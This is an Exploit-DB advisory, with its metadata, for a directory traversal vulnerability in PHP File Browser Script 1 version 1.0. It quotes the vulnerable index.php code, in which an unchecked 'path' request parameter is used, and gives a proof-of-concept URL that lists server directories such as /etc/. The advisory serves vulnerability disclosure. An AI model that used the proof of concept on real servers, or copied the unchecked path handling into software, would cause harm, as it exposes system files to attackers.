PHP File Browser Script 1 - Directory Traversal

vendor:

PHP File Browser Script 1

by:

Özkan Mustafa Akkuş (AkkuS)

4.3

CVSS

MEDIUM

Directory Traversal

CWE

Product Name: PHP File Browser Script 1

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:hscripts:php_file_browser_script_1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux

2018

PHP File Browser Script 1 – Directory Traversal

The 'index.php' file of the PHP File Browser Script 1 is vulnerable to directory traversal. An attacker can see and read all files known by the name by using the 'path' parameter in the URL.

Mitigation:

Input validation should be done to prevent directory traversal attacks.

Source

Exploit-DB raw data:

# Exploit Title: PHP File Browser Script 1 - Directory Traversal
# Dork: N/A
# Date: 2018-09-03
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://www.hscripts.com/scripts/php/file-browser.php
# Software Link:https://www.hscripts.com/scripts/php/downloads/file-browser-demo.zip
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The "index.php" is vulnerable to directory traversal.
# An attacker can see and read all files known by the name

# Vulnerable File: index.php
<?php // line 45

72  $script = basename(__FILE__); // the name of this script
73  $path = !empty($_REQUEST['path']) ? $_REQUEST['path'] : "demo"; // the path the script should access
74
75  if($loc!=''){
76  echo "<p id='bloc'><b>Browsing Location: </b><a href='index.php'><b>".ucfirst($loc1)."</b></a>
77  <a href='$script?path=$rpath/$loc1/$loc2'><b>".ucfirst($locdem2)."</b></a>
78  <a href=''><b>".ucfirst($locdem3)."</b></a></p>";}
79  else{
80    echo "<p id='bloc'><b>Browsing Location: </b><a href=''><b>Demo</b></a></p>";

?> // line 151

# PoC :

https://Target/scripts/php/file-browser-demo/index.php?path=[DirectoryName]

# You can write the known directory name instead of [DirectoryName].
# Example: '/etc/' or '/var/www/'  
# https://Target/scripts/php/file-browser-demo/index.php?path=/etc/